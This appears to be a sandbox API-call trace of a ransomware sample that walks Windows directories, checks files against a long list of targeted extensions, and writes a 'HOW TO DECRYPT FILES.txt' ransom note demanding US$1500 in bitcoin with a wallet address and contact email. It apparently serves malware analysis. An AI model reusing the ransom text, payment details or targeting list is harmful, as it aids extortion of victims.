(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0110.995] lstrlenA (lpString="*.vdi") returned 5 [0110.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0110.995] lstrlenA (lpString="*.lay6") returned 6 [0110.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0110.995] lstrlenA (lpString="*.mpeg") returned 6 [0110.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0110.995] lstrlenA (lpString="*.djvu") returned 6 [0110.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0110.995] lstrlenA (lpString="*.tiff") returned 6 [0110.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0110.995] lstrlenA (lpString="*.backup") returned 8 [0110.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0110.995] lstrlenA (lpString="*.pdf") returned 5 [0110.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0110.995] lstrlenA (lpString="*.cert") returned 6 [0110.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0110.995] lstrlenA (lpString="*.docm") returned 6 [0110.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0110.996] lstrlenA (lpString="*.xlsm") returned 6 [0110.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0110.996] lstrlenA (lpString="*.dwg") returned 5 [0110.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0110.996] lstrlenA (lpString="*.nd") returned 4 [0110.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0110.996] lstrlenA (lpString="*.tlg") returned 5 [0110.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0110.996] lstrlenA (lpString="*.lgb") returned 5 [0110.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0110.996] lstrlenA (lpString="*.mov") returned 5 [0110.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0110.996] lstrlenA (lpString="*.xdw") returned 5 [0110.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0110.996] lstrlenA (lpString="*.ods") returned 5 [0110.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0110.996] lstrlenA (lpString="*.wav") returned 5 [0110.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0110.996] lstrlenA (lpString="*.mp3") returned 5 [0110.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0110.997] lstrlenA (lpString="*.aiff") returned 6 [0110.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0110.997] lstrlenA (lpString="*.flac") returned 6 [0110.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0110.997] lstrlenA (lpString="*.m4a") returned 5 [0110.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0110.997] lstrlenA (lpString="*.csv") returned 5 [0110.997] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3785a390, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3785a390, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3785a390, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0110.997] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0110.997] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d5f82d0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4d5f82d0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4d5f82d0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ad7d01564f0056d2476f6ae5d257356b", cAlternateFileName="AD7D01~1")) returned 1 [0110.997] lstrcmpA (lpString1=".", lpString2="ad7d01564f0056d2476f6ae5d257356b") returned -1 [0110.997] lstrcmpA (lpString1="..", lpString2="ad7d01564f0056d2476f6ae5d257356b") returned -1 [0110.997] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0110.997] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="ad7d01564f0056d2476f6ae5d257356b" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b" [0110.997] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b") returned 100 [0110.997] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d5f82d0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4d5f82d0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4d5f82d0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.001] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.001] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d5f82d0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4d5f82d0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4d5f82d0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.001] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.001] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.001] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d5f82d0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4d5f82d0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4d5f82d0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x6d000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.001] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.001] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll") returned -1 [0111.001] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll") returned -1 [0111.001] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll") returned -1 [0111.001] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\*.*") returned="*.*" [0111.001] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\" [0111.001] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\") returned="" [0111.002] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\HOW TO DECRYPT FILES.txt" [0111.002] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\ad7d01564f0056d2476f6ae5d257356b\\how to decrypt files.txt")) returned 0xffffffff [0111.002] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\ad7d01564f0056d2476f6ae5d257356b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.013] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.013] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.015] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.029] CloseHandle (hObject=0x90) returned 1 [0111.029] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll" [0111.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0111.029] lstrlenA (lpString="*.ems") returned 5 [0111.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.db") returned 0 [0111.029] lstrlenA (lpString="*.db") returned 4 [0111.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0111.029] lstrlenA (lpString="*.dbf") returned 5 [0111.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0111.029] lstrlenA (lpString="*.myox") returned 6 [0111.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0111.029] lstrlenA (lpString="*.myo") returned 5 [0111.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0111.029] lstrlenA (lpString="*.qbw") returned 5 [0111.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0111.030] lstrlenA (lpString="*.qbb") returned 5 [0111.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0111.030] lstrlenA (lpString="*.qbm") returned 5 [0111.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0111.030] lstrlenA (lpString="*.qbo") returned 5 [0111.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0111.030] lstrlenA (lpString="*.qbx") returned 5 [0111.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0111.030] lstrlenA (lpString="*.qba") returned 5 [0111.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0111.030] lstrlenA (lpString="*.qby") returned 5 [0111.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0111.030] lstrlenA (lpString="*.qbj") returned 5 [0111.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0111.030] lstrlenA (lpString="*.ofx") returned 5 [0111.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0111.030] lstrlenA (lpString="*.qif") returned 5 [0111.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0111.030] lstrlenA (lpString="*.mye") returned 5 [0111.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0111.030] lstrlenA (lpString="*.mbox") returned 6 [0111.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0111.031] lstrlenA (lpString="*.eml") returned 5 [0111.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0111.031] lstrlenA (lpString="*.pst") returned 5 [0111.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0111.031] lstrlenA (lpString="*.ost") returned 5 [0111.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0111.031] lstrlenA (lpString="*.idx") returned 5 [0111.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0111.031] lstrlenA (lpString="*.dbx") returned 5 [0111.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0111.031] lstrlenA (lpString="*.sql") returned 5 [0111.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0111.031] lstrlenA (lpString="*.mdb") returned 5 [0111.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0111.031] lstrlenA (lpString="*.fdb") returned 5 [0111.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0111.031] lstrlenA (lpString="*.wab") returned 5 [0111.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0111.031] lstrlenA (lpString="*.dat") returned 5 [0111.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0111.031] lstrlenA (lpString="*.txt") returned 5 [0111.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0111.032] lstrlenA (lpString="*.jpeg") returned 6 [0111.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0111.032] lstrlenA (lpString="*.jpg") returned 5 [0111.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.png") returned 0 [0111.032] lstrlenA (lpString="*.png") returned 5 [0111.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.php") returned 0 [0111.032] lstrlenA (lpString="*.php") returned 5 [0111.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0111.032] lstrlenA (lpString="*.cs") returned 4 [0111.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\ad7d01564f0056d2476f6ae5d257356b\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0111.032] lstrlenA (lpString="*.cpp") returned 5 [0111.032] PathMatchSpecA 